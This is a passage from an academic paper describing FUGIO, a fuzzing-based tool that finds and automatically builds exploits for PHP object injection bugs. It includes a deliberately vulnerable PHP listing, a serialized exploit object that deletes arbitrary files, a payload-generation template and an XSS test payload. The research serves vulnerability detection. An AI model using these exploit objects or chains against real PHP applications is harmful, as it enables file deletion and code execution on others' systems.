triggered. FUGIO then conducts a feedback-driven fuzzing
campaign on the PUT for each chain, thus generating exploit
objects. The fuzzing process harnesses execution feedback
when prioritizing promising inputs that reach gadgets deeper
in the given chain and mutating property values. Once FU-
GIO finds a potential exploit, it inserts an attack payload into
the properties of the exploit object to check whether the in-
jected payload appears at the sink function, thus confirming
the exploitation of the generated payload.

We evaluated FUGIO on 30 PHP applications, each of
which has at least one known POI vulnerability. From these
applications, FUGIO reported 68 exploitable chains and their
actual exploits with zero false positives. We also applied FU-
GIO to the latest versions of two PHP applications: WordPress
with WooCommerce [3] and Concrete5. FUGIO reported two
previously unreported POI vulnerabilities with concrete ex-
ploits, thus demonstrating its efficacy.

In summary, we propose a new AEG tool for POI vulner-
abilities that applies a series of static and dynamic program
analyses and feedback-driven fuzzing. We demonstrate that
the proposed technique is effective for generating exploits
with zero false positives, which has notoriously demanded
labor-intensive engineering efforts.

2 Background

2.1 PHP Object Injection
A PHP object injection (POI) vulnerability refers to a security-
critical bug in a PHP application that entails remote code exe-

1 <?php
2 class Logger {
3 public function __destruct () { // Magic method
4 if ($this ->logtype === "TEMPORARY") {
5 $this ->log ->clear();
6 } else {
7 $this ->log ->save();
8 } } }
9 class Stream {

10 public function clear() {
11 $this ->close();
12 }
13 public function close() {
14 $this ->handle ->close();
15 } }
16 class TempFile extends Stream {
17 public function save() {
18 $tmpfile = tempnam("/tmp", "XYZ_");
19 $data = file_get_contents($this ->filename);
20 file_put_contents($tmpfile , $data); // Sink
21 }
22 public function close() {
23 unlink($this ->filename); // Sink
24 } }
25 $data = unserialize($_COOKIE['data']); // POI bug

Listing 1: Exploitation of a POI vulnerability

cution [46]. An adversary injects an input string that exploits
this vulnerability, and the vulnerable application creates a
PHP object when deserializing this injected string. The adver-
sary programs this PHP object via POP, enabling it to invoke
a series of class methods or functions that result in file dele-
tion/creation, cross-site scripting, remote code execution, and
other malicious behaviors.
Unserialization. PHP supports two built-in functions that
developers often use to encode and decode object-type data:
serialize() and unserialize(). These methods are de-
signed to serialize a given object into a string and to convert a
given string into an object, respectively. Unserialization also
occurs when a file operation is performed on a PHP Archive
(PHAR) file, such as file_exists and is_file, because this
file type stores its meta-data in serialized form. Therefore, an
adversary can inject an arbitrary object at run-time by feeding
an input string into an unserialize invocation or by trigger-
ing file operations on an attacker’s uploaded PHAR file. For
the latter case, we assume that a forged PHAR file has already
been uploaded to a target web server by exploiting an unre-
stricted file upload (UFU) vulnerability [40]. The adversary
thus attempts to invoke PHP file operations on this uploaded
PHAR file, which unserializes its meta-data.
Property-oriented programming. When exploiting a POI
vulnerability, an attacker crafts an injection object by carefully
choosing its property values to invoke a chain of existing class
methods or functions. This chain reflects a call stack that starts
from the entry method and ends with a method that invokes a
security-sensitive function with attack payloads. This chain
is called a POP chain, and each method of this POP chain is
called a gadget.

Note that the injection of an arbitrary object does not al-
ways lead to code execution; for execution to occur, the PHP
interpreter that runs a vulnerable application should invoke
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5: $this->log->clear

Logger::__destruct Tempfile::clear

11: $this->close

TempFile::close

23: unlink

(a) A POP chain triggering unlink

Serialized String Unserialized Object

O:6:“Logger”:2:{

s:7:“logtype”;s:9:“TEMPORARY”;  

s:3:“log”;O:8:“TempFile”:1:{

s:8:“filename”;s:9:“FILE_PATH”;}}

Logger

logtype: “TEMPORARY”

log: TempFile

filename: “FILE_PATH”

(b) An exploit object for 2a

Figure 2: An example of POP for the POI in Listing 1

the entry gadget in a POP chain. To achieve this, the attacker
uses a magic method defined in the vulnerable application.
Various types of magic methods are automatically invoked
when certain conditions are met at run-time. For instance, a
__destruct method is called when deleting an object in the
class definition that implements this magic method.

The attacker is also required to adjust the properties of
the injected object to invoke the next gadget within the pre-
vious gadget’s body. The next gadget should be 1) a mem-
ber method of the class containing the previous gadget, 2)
a member method of a different class whose name is used
at the invocation statement in the previous gadget, or 3) a
user-defined function with no owner class.

Listing 1 shows a PHP snippet with the POI vulnerability
at Line 25. The attacker is able to inject an arbitrary object via
the “data” cookie. Figure 2a shows a POP chain devised by
the attacker to exploit this vulnerability. This chain starts from
the __destruct of a Logger object and ends with the close
member method of a TempFile object in which a security-
critical file deletion occurs at Line 23. Based on the chain,
the attacker implements the serialized string on the left side
of Figure 2b; this string is deserialized into a Logger object
containing the logtype property, the value of the which is set
to “TEMPORARY”, and the log property, the value of which
is set to a TempFile object. This object has the filename
property, the value of which is set to a file path to delete, as
shown on the right side of Figure 2b.

When this object is destroyed in runtime, its __destruct
method is automatically invoked. Since the logtype prop-
erty value is “TEMPORARY”, __destruct invokes clear
of TempFile, which sequentially calls close of TempFile
and unlink with the target file name embodied in filename.
Thus, the attacker is able to delete an arbitrary file by injecting
the aforementioned input string. Note that the attacker assigns
a TempFile object in the log property of Logger to connect
the callsite at Line 5 to the second gadget, the clear member
method of TempFile. This control flow is not intended by the
application developers but is introduced by the attacker. The
attacker does not introduce any new code but instead reuses
existing gadgets by reshaping the hierarchy of objects and
setting the appropriate property values.

The presented attack is analogous to code reuse attack tech-
niques, such as return-to-libc [44], return-oriented program-
ming [52], and jump-oriented programming [9]. However, it
is different in that the basic block for executing code is a class
member method in POP.

3 Motivation and Challenges

We propose an AEG approach for finding a POI vulnerability
and generating injection objects that exploit this vulnerabil-
ity. Existing off-the-shelf penetration testing tools, such as
Burp [50] and Acunetix [32], focus only on identifying built-
in callsites that deserialize user input, reporting potential POI
vulnerabilities. The presence of their exploit objects is able to
eliminate possible false positives; however, this task requires
POP, which demands significant manual effort and expertise.

Dahse et al. [13] addressed this limitation by conducting a
static analysis that reports promising POP chains. However,
to eliminate false positives, this static approach still requires
addressing the reachability analysis problem of finding the
appropriate input to exploit one of the promising POP chains.
Furthermore, as the number of promising chains increases,
it becomes an arduous task to vet each chain and generate
exploits. For instance, Contao CMS has at least 26,180 chains,
making it improbable to manually check these chains and
generate working exploits for five exploitable chains.

Performing AEG for POI vulnerabilities must achieve the
following objectives: 1) find a POI vulnerability; 2) identify
POP chains of available gadgets when triggering the identified
vulnerability; and 3) generate input objects for exploitable
POP chains among those identified, thus reporting the ex-
ploitability of the vulnerability.

Considering that the aforementioned static and pen-testing
tools [13, 32, 50, 58] can already find potential POI vulnera-
bilities that pass user input into deserialization function calls,
we do not emphasize the contribution of detecting potential
POI bugs. Rather, our core contribution lies in generating
exploit objects, which is required to address the second and
third objectives. We explain the technical challenges of each
objective below.
Identifying POP chains. An AEG tool should identify all
POP chains that take into account gadgets from all loadable
classes at the location where user inputs are deserialized.

(C1-1) The dynamic nature of PHP makes it difficult to
identify loadable classes and their gadgets. The autoload fea-
ture enables the loading of any existing classes via invoking
developer-specified load callbacks. Also, many PHP CMS ap-
plications rely heavily on dynamically generated PHP classes.
Thus, considering only statically defined classes results in
not considering available gadgets for POP and produces false
negatives.

(C1-2) A naive algorithm for connecting loadable gadgets
produces a prohibitive number of POP chains to vet when as-
sessing exploitability. For instance, in Listing 1, __destruct
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Figure 3: FUGIO architecture: A workflow overview of AEG for POI vulnerabilities

has two callsites that invoke clear and save. From this entry
gadget of __destruct, the attacker can connect to different
gadgets with the name of either clear or save by manipu-
lating $this->log. Therefore, as the number of invocations
within gadgets increases, the number of possible candidates
to connect from a given gadget increases. This especially be-
comes problematic when enumerating long chains because
the number of POP chains increases exponentially as length
increases.
Generating exploits. An AEG tool should generate an ex-
ploit object with multiple property values that enable the
exploit execution of an identified chain without disruption.
This poses the difficult problem of generating an appropriate
input that enables an application to reach a target statement.

Consider a gadget containing multiple conditions in its
body. When the invocation statement of the next gadget in-
volves passing these conditions, the tool is required to gener-
ate the appropriate property values to pass these. For instance,
in Listing 1, if the next gadget of Logger::__destruct is
TempFile::clear, the logtype of the object to inject should
be “TEMPORARY”, and the log should be a TempFile class
object. Furthermore, the tool should also provide an attack
payload to be fed into an actual parameter of a security-
sensitive sink in the last gadget by injecting property values.

We choose feedback-driven fuzzing for generating exploits.
Note that symbolic execution is undoubtedly applicable to
systematically generating exploit objects [4, 11, 67]. How-
ever, this approach requires modeling the semantics of PHP
built-in functions in terms of our symbols, which demands a
heavy engineering effort; we observed that 30 applications in
our benchmark used 460 built-in PHP functions in about 300
thousand of the identified gadgets in our evaluation. Further-
more, as the PHP interpreter evolves, more built-in functions
will need to be supported for symbolic execution. Therefore,
we choose a more general approach of fuzzing, which entails
the risk of false negatives.
Fuzzing. Fuzzing a target PHP application invites distinctive
technical challenges.

(C2-1) It is difficult to establish a high throughput when
conducting stateless fuzzing on a large PHP application.
When the size of a target PHP application is large, executing

the application with each generated input is a slow process,
which impedes fuzzing performance; 30 PHP applications
in our benchmark required 0.6 sec, on average, to execute
one object input, which is significantly slower than state-of-
the-art fuzzers [10]. This is because the target application
also executes modules that are not related to POI vulnerabil-
ities. Furthermore, these modules can produce side effects
that change an internal program state or even render the target
application unable to run due to a large number of fuzzing at-
tempts. Lastly, it is time-consuming to restore the application
to its initial state after each fuzzing attempt.

(C2-2) It is not straightforward to devise an exploit ob-
ject with multiple property values via fuzzing. A vast volume
of existing fuzzing literature models fuzzing inputs as byte
streams. However, generating an exploit object for POI vulner-
abilities demands performing property-oriented programming,
which requires altering multiple properties and shaping the
object hierarchy to enable the execution of a POP chain. How
can we identify the required properties for an exploit object?
What properties should be selected for mutation? How should
we mutate and generate the selected property values? These
questions should be addressed to generate exploits via fuzz
testing.

4 Overview

We propose FUGIO, a system that detects POI vulnerabilities
in a target PHP application and confirms the exploitability of
the detected vulnerabilities by generating exploit objects.

To address the two aforementioned challenges, FUGIO con-
ducts both static and dynamic program analyses to consolidate
all statically declared and dynamically generated gadgets (C1-
1). FUGIO then conducts a coarse-grained inter-procedural
taint analysis (with the objective of pruning unnecessary POP
chains) and performs a depth-bounded breadth-first search
that enumerates all promising chains (C1-2).

FUGIO generates exploits by conducting feedback-driven
fuzzing, thus addressing the second challenge. To achieve a
high throughput of fuzz testing, FUGIO synthesizes a program
under testing (PUT) that simulates the execution environment
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in which a POI vulnerability is triggered (C2-1). FUGIO
leverages branch coverage, run-time reference errors, and
hints that appear in conditional expressions during fuzzing
to devise more promising input objects in terms of reaching
deeper gadgets in the POP chain being tested (C2-2).

FUGIO consists of five components: POI detector, static
analyzer, dynamic analyzer, POP chain identifier, and POP
chain fuzzer. These components work together to find POI
vulnerabilities and to generate their exploit objects. Figure 3
depicts the workflow of FUGIO. It takes a target PHP applica-
tion source code and URL as input. The POI detector starts to
crawl the websites to detect POI vulnerabilities and passes the
detected vulnerability to the dynamic analyzer. The static and
dynamic analyzers collect data for identifying POP chains
from the given source code and the execution environment, re-
spectively when the detected vulnerability is triggered. Using
these analyses, the POP chain identifier computes promising
POP chains and generates a PUT. For each identified chain,
the fuzzer performs fuzz testing on this PUT until it finds
concrete exploits.

5 Design

5.1 POI Detector
The POI detector detects potential POI vulnerabilities in a
target PHP application through dynamic testing. Specifically,
it dynamically detects injection points that take in a predefined
input string and convert it into a PHP object.

Given a target PHP application with its URL, the detector
starts by crawling the application and computing a list of
URLs to visit. When visiting each webpage in this list, the
detector extracts <a> and <form> tags. From each <a> tag,
the detector builds a GET request template to its destination
URL. From each <form> tag, the detector extracts its action,
method, and input parameters, each of which has a key and the
default value. The detector then assembles these components
and generates a request template with input parameters.

Accordingly, from each request template, the detector gen-
erates a list of testing requests with our input string. For each
GET, POST, and COOKIE parameter in this request template,
the detector injects a predefined serialized string that repre-
sents our testing PHP object, thus generating a set of testing
requests; in each of these requests, one input parameter holds
our predefined string. The detector then sends each testing
request and observes whether a PHP built-in callsite that dese-
rializes a user input is invoked with our testing object. For this,
FUGIO hooks 26 predefined PHP built-in functions that in-
volve the deserialization of user inputs, such as unserialize,
is_file, and file_exists, using runkit [14] or uopz [34].
In short, when one of these built-in functions is invoked with
an actual parameter that holds our testing object, the detector
reports this invocation as a potential POI vulnerability and
passes this callsite information to the dynamic analyzer.

5.2 Static Analyzer

The static analyzer computes static summaries for user-
defined classes and functions that are later used for generating
POP chains and a PUT by the POP chain identifier (§5.4).

The analyzer takes in the source code of the target appli-
cation and outputs a static summary for each file. This static
summary contains function summaries and class summaries
that hold the information of functions and classes defined in
this file. It starts by parsing each PHP file into a set of abstract
syntax trees (ASTs) and then analyzes all definitions of func-
tions, classes, interfaces, and traits. For each defined class, the
static analyzer extracts information, including a name, names-
pace, its parent class, implemented interfaces, used traits, and
the definition itself. It then stores this information in the class
summary of the PHP file defining the class. This summary
also includes the name and visibility of each defined property
and member method.

When parsing a function or member method definition, the
static analyzer extracts its function prototype and computes
a function summary that contains caller-callee relationships.
For each method invocation (e.g., $receiver->method())
within the function or member method definition, the analyzer
extracts a target method name and its receiver class candidates.
When the invocation explicitly uses $this, the static analyzer
precisely infers the receiver as the owner of the target method
or this owner’s parent class. Otherwise, it assigns a set of
classes that include member methods with the target method
name to the receiver candidates, computing a conservative
set of all possible classes. However, when there are intra-
procedural data flows from the assignment statement of a
newly instantiated class involving the new keyword to this
receiver (e.g., $receiver = new ClassA), the analyzer uses
this class as the receiver. This caller-callee information in
each file summary is later used when connecting gadgets to
build POP chains.

For each member method and function, the static analyzer
computes flow-insensitive intra-procedural data flows from its
formal parameters and its owner properties to the arguments
of each invocation callsite in the body. The function summary
contains these data flows, which are later used to prune non-
exploitable intermediate gadgets in which the attack is unable
to change the actual arguments of subsequent gadgets by
adjusting the property values of an injection object.

5.3 Dynamic Analyzer

The dynamic analyzer computes function summaries and class
summaries for dynamically generated classes and functions
that are not statically defined in the target application source
code. These summaries are also later consumed by the POP
chain identifier for generating chains and the PUT.

Given a POI vulnerability, the dynamic analyzer collects
additional information that the static analyzer is unable to
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obtain. For this, FUGIO creates a PHP file that installs hooks
to PHP built-in functions that internally deserialize user input,
such as unserialize, file_exists, and fopen, using the
runkit [14] or uopz [34] extensions. We inject this file into the
target web application using the .htaccess file.

When the given POI vulnerability is triggered, the installed
hook attempts to load all classes obtained via the static ana-
lyzer. Note that PHP supports the autoload feature, which in-
vokes developer-specified callbacks when accessing unloaded
classes. Because many PHP applications use this autoload
feature, it is important to know which classes can be loaded
dynamically. We use class_exists to check whether a given
class is loaded. Otherwise, this function automatically tries
to load the given class using the corresponding autoload. By
invoking class_exists for all classes, we obtain a list of
loadable classes.

The dynamic analyzer subsequently examines loaded func-
tions, classes, interfaces, and traits when their bodies are not
statically defined. The analysis process is the same as the anal-
yses performed in the static analyzer. However, the dynamic
analyzer examines classes and functions that are dynamically
defined, which do not exist in the source code. Note that
Dahse et al. [13] did not consider these dynamically gener-
ated functions or classes.

Finally, the dynamic analyzer stores environmental vari-
ables (e.g., $_ENV and $_SERVER) and global variables (e.g.,
$_GLOBAL) when these hooking methods are called. In the
next step, these variables are used to generate a PUT that
mimics the execution environment in which the given POI
vulnerability is triggered.

5.4 POP Chain Identifier

Based on information from the static and dynamic analyzers,
the POP chain identifier emits a list of available POP chains
and a PUT to use in performing fuzz testing.

5.4.1 POP Chain Identification

A POP chain is a sequence of gadgets that reflects a stack
trace from a magic method to a sensitive sink when the ex-
ploitation of a target POI vulnerability occurs. Based on the
type of this sensitive sink, the adversary is able to conduct
different kinds of attacks. In this paper, we specified a total of
26 sensitive sinks causing file creation/modification/deletion,
shell command injection, and remote code execution.

For each invocation of sensitive sinks, FUGIO checks
whether the attacker can change the actual arguments of the
invocation using the function summary of the function or
method (m) that embodies the invocation (§5.2). It checks
whether there is an intra-procedural data flow from any formal
parameters of m or the properties of the owner class of m. If so,
FUGIO takes this sink function into account when generating
POP chains. Otherwise, FUGIO excludes this sink function

because there is no way for the attacker to directly change
such arguments via injecting objects. For instance, from List-
ing 1, FUGIO finds two sensitive sinks, file_put_contents
(in Line 20) and unlink (in Line 23), by checking the intra-
procedural data flow analysis of the save and close methods,
respectively. FUGIO then checks for the existence of data
flows from the filename property to the second argument of
file_put_contents and the first argument of unlink.

The chain identifier is required to generate POP chains,
each of which consists of gadgets along the path from a magic
method to each target sensitive sink. One naive solution for
this is to conduct a depth-first search from each magic method
to a target sensitive sink, generating all feasible chains. How-
ever, traversing the downstream of a callee from an entry
magic method may not encounter any sensitive sinks, thus
wasting computation resources. Also, when there exists a
cycle in call chains, the algorithm does not terminate.

Instead, we designed an algorithm that builds a depth-
bounded call tree in a breadth-first manner as shown in Fig-
ure 4. Specifically, for each invocation of target sinks, the
chain identifier of FUGIO computes a call tree, the root of
which is the method embodying the invocation. Then, for each
leaf node that indicates a function or method (m), it iteratively
attaches new nodes, each child node of which corresponds to a
potential caller of m. The chain identifier builds this tree until
its height grows up to a given height, which is a parameter
that auditors specify. We chose seven for this parameter in
our evaluation (§7.4). By means of this height-bounded tree
search, FUGIO is able to enumerate POP chains, even when
there are cycles in calling gadgets.
Attaching leaf nodes. When attaching potential callers of
the gadget (m) to each leaf, the chain identifier considers
not only authentic callers that the developers intended for
m but also forged callers that the adversary enforces for m
via manipulating object properties. Specifically, the chain
identifier collects all function summaries that have invocation
statements of which 1) the target callee name is the same
as m and 2) the number of actual parameters is the same as
the number of formal parameters of m. This collected set of
function summaries becomes the set of potential callers of
m to attach. From the potential callers, the chain identifier
further removes callers of which the invocation statements
have statically deterministic receivers that do not indicate
the owner class of m. Remind that via the static analysis,
FUGIO already computed a conservative receiver set for each
invocation (§5.2).

Considering that the chain identifier leverages static in-
formation when attaching potential callers of m, it misses
call edges when potential callers are statically undecidable;
for a reflective callsite, such as $receiver->$method, the
chain identifier is unable to determine its possible callees,
thus missing chains that contains this call edge. We discuss
false negatives due to these reflective callsites in §7.3.2.
Generating chains. After building the call tree for each sink,
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the chain identifier finds the leaf nodes that represent magic
methods. For each identified leaf node, it computes a path
to the root node, thus emitting a chain of tree nodes, each of
which corresponds to a POP gadget.

Before passing the identified POP chain to the next step, the
chain identifier performs an inter-procedural data flow analy-
sis to prune the chains that do not have any data flows from
gadget properties to actual arguments of the sensitive sink,
rendering it infeasible for the attacker to change these actual
arguments. We leverage the function summary of each gadget
that lies in this POP chain and compute inter-procedural data
flows within the POP chain.

……

Height 1

Height 2

Height 3

TempFile::close

23: unlink

Stream::close Stream::clear Tempfile::clear

14: $this->handle->close 11: $this->close 11: $this->close

Logger::__destruct

5: $this->log->clear

Stream::clear Tempfile::clear

11: $this->close

Stream::close

14: $this->handle->close 11: $this->close

Figure 4: A call tree from unlink in Listing 1

5.4.2 PUT Generation

FUGIO synthesizes a PUT in PHP that is relatively smaller
than its original application but contains all the gadgets nec-
essary to generate exploits. FUGIO first extracts all class and
function definitions from the summaries that the analyzers
compute. To avoid possible conflicts of class and function
names, FUGIO emits one file for each definition. We call this
generated file a definition file.

FUGIO then generates the head and body parts of the PUT.
In the head part, FUGIO sets all the environment and global
variables provided by the dynamic analyzer. FUGIO then
writes the body part to include all definition files that contain
all the gadgets that are loaded and loadable when exploiting a
target POI vulnerability. The body part ends with the unseri-
alize invocation, which takes in a serialized input string that
the fuzzer later provides. This PUT takes in this input string
from a shell command invoking the PHP interpreter running
the PUT. Therefore, the fuzzer invokes unserialize using a
generated input in this PUT, which simulates the execution
environment when exploiting the POI vulnerability.
Instrumentation for feedback. Before conducting feedback-
driven fuzzing, FUGIO instruments a given PUT to obtain
three kinds of feedback when conducting fuzz testing of each
object input: 1) the execution trace that contains executed
conditional expressions and invoked methods, 2) the number
of executed gadgets in the POP chain, and 3) hints for property
values from conditional expressions.

To obtain the first and second types of feedback, we design
FUGIO to insert code that reports their execution at every
function entry, before and after every conditional expression,

Algorithm 1: Fuzzing
Input :An instrumented PUT (put)

A POP chain (pop_chain)
Output :Payloads

1 seed_pool←[]
2 init_seed← GenerateInitialSeed(pop_chain)
3 AddSeed(seed_pool, init_seed)
4 while True do
5 seed← SelectSeed(seed_pool)
6 input← MutateSeed(seed)
7 execution← ExecutePUT(put, input)
8 result← AnalyzeExecution(execution)
9 if NewPath(result) then

10 AddSeed(seed_pool, input)
11 if SinkReached(result) then
12 Report(input,“ProbablyExploitable”)
13 if Oracle(input) == success then
14 Report(input,“Exploitable”)
15 break

16 else
17 if ExecutedGadgets(input)>

ExecutedGadgets(seed) then
18 AddSeed(seed_pool,

GenerateNextGadgetSeed(input))

19 hinted_properties← AnalyzeConditions(result)
20 foreach prop ∈ hinted_properties do
21 AddSeed(seed_pool,

GenerateHintedSeed(input, prop))

22 else if reference error occurs then
23 missing_property← AnalyzeError(execution)
24 AddSeed(seed_pool,

AddProperty(input,missing_property))

and at every invocation statement of user-defined functions.
Specifically, each instrumented code emits the hash value of
its line and file, thus leaving an execution remark.

This step also inserts code that reports hints for property
values, which the fuzzer leverages to generate precise prop-
erty values. In Listing 1, $this->logtype needs to be set to
“TEMPORARY” to invoke the clear (Line 5), but it is improb-
able to randomly generate this specific string. For this, the in-
strumented code reports constants and type-checking built-in
functions, such as is_string() and is_int(), which appear
in executed conditional statements. These reported constants
and built-in functions are later used to generate property val-
ues. We call this type of property generation property hinting.

5.5 POP Chain Fuzzer
Given a PUT and a POP chain, the fuzzer conducts feedback-
driven fuzzing on the PUT, generating an exploit object.

Algorithm 1 describes the overall process of fuzzing. Given
a POP chain and a PUT, the fuzzer initiates a fuzzing cam-
paign during a given time period. The fuzzing process starts
by preparing an initial seed pool (Lines 1–3). It then repeats
the following procedures until finding an injection object that
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executes the sensitive sink in the POP chain with an attack
payload. The fuzzer picks a seed based on its previous execu-
tion feedback (Line 5) and mutates this seed, thus generating a
new injection object to test (Line 6). The fuzzer then executes
the instrumented PUT with the mutated seed and analyzes
the execution feedback (Lines 7–8). When this mutated seed
contributes to increasing branch coverage, the fuzzer adds
this seed to the seed pool (Lines 9–10). Furthermore, if this
mutated seed executes more gadgets than the existing seed,
the fuzzer also derives new seeds that target one step deeper
in the POP chain (Lines 17–18). It also computes new seeds
by assigning property values in the current mutated seed by
leveraging constants and inferring property types based on the
usages of properties that appear in the executed conditional
statements (Lines 19–21). The remaining section details each
step in the fuzzing process.
Seed optimization. We prioritize a seed input that reaches a
deeper gadget in a given chain or the security-sensitive sink in
the last gadget of the chain when selecting a seed to mutate.

The fuzzer starts by preparing an empty seed pool (Line 1)
and generates an initial seed input. This initial seed input
is an object of which the class holds the first gadget of the
given POP chain. Then, this initial seed is added to the seed
pool (Lines 2–3). The fuzzer then picks a seed from the seed
pool (Line 5). For each seed, the fuzzer stores its execution
results: 1) the number of selections of the seed, 2) the hash
of its property tree, and 3) the maximum depth of executed
gadgets in the POP chain. Based on this information, the
fuzzer prioritizes a less frequently executed seed that has a
deeper executed gadget.

More formally, we define di f f as the difference between
the length of the POP chain and the maximum depth of exe-
cuted gadgets in the POP chain. Then, we use Equation 1 to
assign the probability for a target gadget depth; the greater
depth the executed gadget has, the greater chance of being
selected the target depth has.

scorei =
1

1+ e
5×di f fi

max(cur_depth)

, Pi =
scorei

Σscorei
(1)

After selecting a target gadget depth, the fuzzer then selects
one seed among those in the seed pool that have reached this
target depth in their execution.

When the seed pool includes seeds that reach the sink,
FUGIO splits the probability of 1.0 into 0.9 and 0.1. It then
uniformly distributes the probability of 0.9 across seeds that
have reached the sink. The probability of 0.1 is also uniformly
distributed across the remaining seeds in the pool. When
there is no seed reaching the sink, the fuzzer assigns the same
probability to each seed that shares the target gadget depth.
It also decreases the probability of each seed as the number
of this seed selection increases, thus increasing the chance of
being selected for less-selected seeds.
Input generation. Generating an injection object requires 1)

1 <?php
2 class Logger {
3 public $logtype;
4 public $log;
5 function setProp($name , $value) {
6 $parent_class = get_parent_class ();
7 if ($parent_class &&
8 property_exists($parent_class , $name)) {
9 parent :: setProp($name , $value);

10 }
11 $this ->$name = $value;
12 }
13 function getProp($name) {
14 return $this ->$name;
15 } }
16 class Stream {
17 ...
18 }
19 class TempFile extends Stream {
20 public $filename;
21 ...
22 }
23 $input = new Logger;
24 $input ->setProp('logtype ', "TEMPORARY");
25 $input ->setProp('log', new TempFile);
26 $input ->getProp('log')
27 ->setProp('filename ', "FILE_PATH");
28 echo base64_encode(serialize($input));

Listing 2: Example of a payload template

designing the structural hierarchy of multiple classes that re-
flects a given POP chain and 2) assigning proper values to the
properties of these multiple classes, which facilitates reach-
ing the sensitive sink with an attack payload. We leveraged a
tree data structure called a property tree when generating and
mutating this injection object. Its root node represents a class
object of which the class holds the magic method, the entry
gadget of a given POP chain. Each node of its descendants
represents a class object property; it contains the property
name, its visibility, type, and value. When a property type is a
class object, this node holds class candidates that the property
may have. In addition, this node becomes the parent node of
a subtree that indicates another class object having another
gadget in the POP chain.

The fuzzer generates a property tree and converts this tree
into an injection object by creating a PHP file that instantiates
the object. In this PHP file, FUGIO defines all the classes used
in this tree, sets property values, and serializes the created
class, as shown in Listing 2. By executing this file, the fuzzer
generates the input, which is fed into the PUT.

Note that the fuzzer does not inject the defined classes
into this PHP file. These classes are helper classes and are
only designed for generating a serialized injection string. The
injected serialized string actually exploits existing classes in
a target PHP application.
Mutation. The fuzzer mutates the property tree of the selected
seed (Line 6). The fuzzer visits each property in the property
tree and checks its type. When this type is Object, the fuzzer
randomly selects one class from the candidate classes of this
property. Otherwise, the fuzzer randomly selects one PHP
type among string, integer, boolean, file, array, and reference.

For string, integer, boolean, and file types, the fuzzer as-
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signs a random value of the selected type to this property. For
an array property, the fuzzer randomly sets up the array size
and assigns random values to keys and values in the array.
For a reference property, the fuzzer identifies its owner and
its other properties that the static and dynamic analyzer com-
pute. It then randomly selects one of the other properties and
assigns its reference to the target reference property. After
mutating properties, the property tree is converted into the
PHP file, and the fuzzer executes the instrumented PUT with
the generated input from this file (Line 7).
Feedback. The fuzzer conducts a feedback-driven targeted
fuzzing that leverages the execution result of a given input
to derive new seeds, which are more promising candidates to
reach the sensitive sink in the given POP chain. There exist
four types of feedback that the fuzzer leverages: 1) branch
coverage, 2) the depth of a gadget reached, 3) property hinting,
and 4) reference error.

For branch coverage, the fuzzer adds a mutated seed to
the seed pool when this mutated input covers new branches
(Lines 9–10). For the second type of feedback, the fuzzer
leverages a gadget depth. When the execution of a mutated
seed enables the execution of a new gadget in the POP chain
that is deeper than that the original seed of this mutated one
reached, the fuzzer adds this mutated seed to the seed pool
with the updated depth of the reached gadgets (Lines 17–18).

When observing a property that is used in a conditional
statement with a comparison operator or specific built-in type-
checking functions, such as is_string(), is_int(), and
is_array(), the fuzzer stores the inferred type or a constant
operand in this conditional statement for the property. For
each hinted property, it generates a hinted seed in which the
value of the hinted property is set as the inferred value or is
randomly mutated by the inferred type (Lines 19–21).

Furthermore, the fuzzer observes reference errors in the
invocation of a method call leveraging a receiver (e.g.,
$receiver->method()). When an observed error is due to
a missing property or an incorrect object in the receiver, the
fuzzer appends the missing property node in the tree of the
current input or assigns an Object with a value chosen from
among the classes that have the target method call name
(Lines 22–24).
Exploit oracle. The fuzzer leverages the exploit oracle to
determine whether a generated input object is able to exploit
the POI vulnerability. When the mutated seed has reached the
sensitive sink, the fuzzer reports that the given POP chain is
probably exploitable with the generated input (Lines 11–12).
To confirm the exploitability of an object identified as proba-
bly exploitable, the fuzzer checks whether a generated input
can control the actual arguments of a sensitive sink. The ora-
cle compares each property value in the input object with the
sink arguments, thereby deriving a set of candidate properties
into which the fuzzer injects payloads. For each candidate,
the fuzzer sets its property value to an attack payload that
depends on the target sensitive sink. For instance, if the type

of sensitive sinks is echo, which can allow an XSS attack,
the attack payload is set to <script>alert(1);</script>.
In the case that sensitive sinks cause file deletion, we set the
attack payload to an existing file path.

Lastly, the fuzzer checks whether the injection object in-
vokes the sensitive sink with the attack payload in its argu-
ment. FUGIO hooks 26 sensitive sink calls in PHP and checks
whether each sink is invoked with an actual parameter con-
taining the attack payload. If so, the fuzzer reports that the
given POP chain is exploitable with the generated payload
and terminates the fuzzing campaign (Lines 13–15). Note that
Listing 2 shows a final output, a PHP snippet that defines a
generated exploit object and prints the serialized string of this
object. FUGIO is also able to generate an attack HTTP(S)
request by filling this serialized string into a GET, POST,
or COOKIE input parameter in the original request that the
detector found to trigger the POI vulnerability (§5.1).

In summary, the fuzzer generates an attack string and ex-
ecutes the PUT with this input, which is later deserialized
into an exploit object. The exploit oracle checks whether this
injection object invokes the series of gadgets in the given POP
chain and invokes the sink function with the attack payload.
Manager. FUGIO runs the POP chain identifier and the POP
chain fuzzer in parallel. Once the POP chain identifier com-
putes a set of chains while visiting each sensitive sink, FUGIO
manages fuzzing campaigns by invoking the fuzzing process
for each chain. Therefore, while the POP identifier computes
POP chains for a sink, FUGIO can initiate fuzzing on the
chains generated from a different sink.

FUGIO prioritizes POP chains with a shorter length when
selecting POP chains to fuzz. We implemented this fuzzing
policy to favor short POP chains when generating exploit
objects. In this way, FUGIO terminates the fuzzing process
for the corresponding sink when an exploit object in short
chains is found before it attempts to check long chains, which
requires more computation resources. We set the ratio of CPU
cores to execute the POP chain identifier and the fuzzer to be
3 to 1. After the POP chain identifier is done, all CPU cores
are assigned to the fuzzer.

6 FUGIO Implementation

FUGIO is implemented in 20K+ LoC of Python and PHP.
When identifying object injection points by hooking PHP
built-in functions, we used runkit [14] and uopz [34]. How-
ever, since these extensions do not support hooking eval, we
implemented this functionality to extract dynamically gener-
ated functions and classes. To incorporate this hooking func-
tionality, we prepended the PHP file implementing hooking
using a .htaccess file before executing every PHP file.

We also leveraged PHP-Parser [45] when parsing PHP files
into ASTs for the static analysis and instrumenting a PUT.
For communicating between different modules, we used Rab-
bitMQ [63]. To support open science and further research, we
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release FUGIO at https://github.com/WSP-LAB/FUGIO.

7 Evaluation

We evaluate FUGIO by measuring its efficacy in generating
exploit objects (§7.2) and comparing its performance with
a previous study and an open-source tool (§7.3). We then
demonstrate the degree to which several parameters affect
the generation of functional exploits (§7.4). We also evaluate
FUGIO in finding previously unreported POI vulnerabilities
as well as their exploits (§7.5). We demonstrate case studies
with reported exploit objects (§7.6).

7.1 Experimental Setup
We evaluated FUGIO on 30 PHP applications. For each app,
we prepared a known POI vulnerability, thus tasking FUGIO
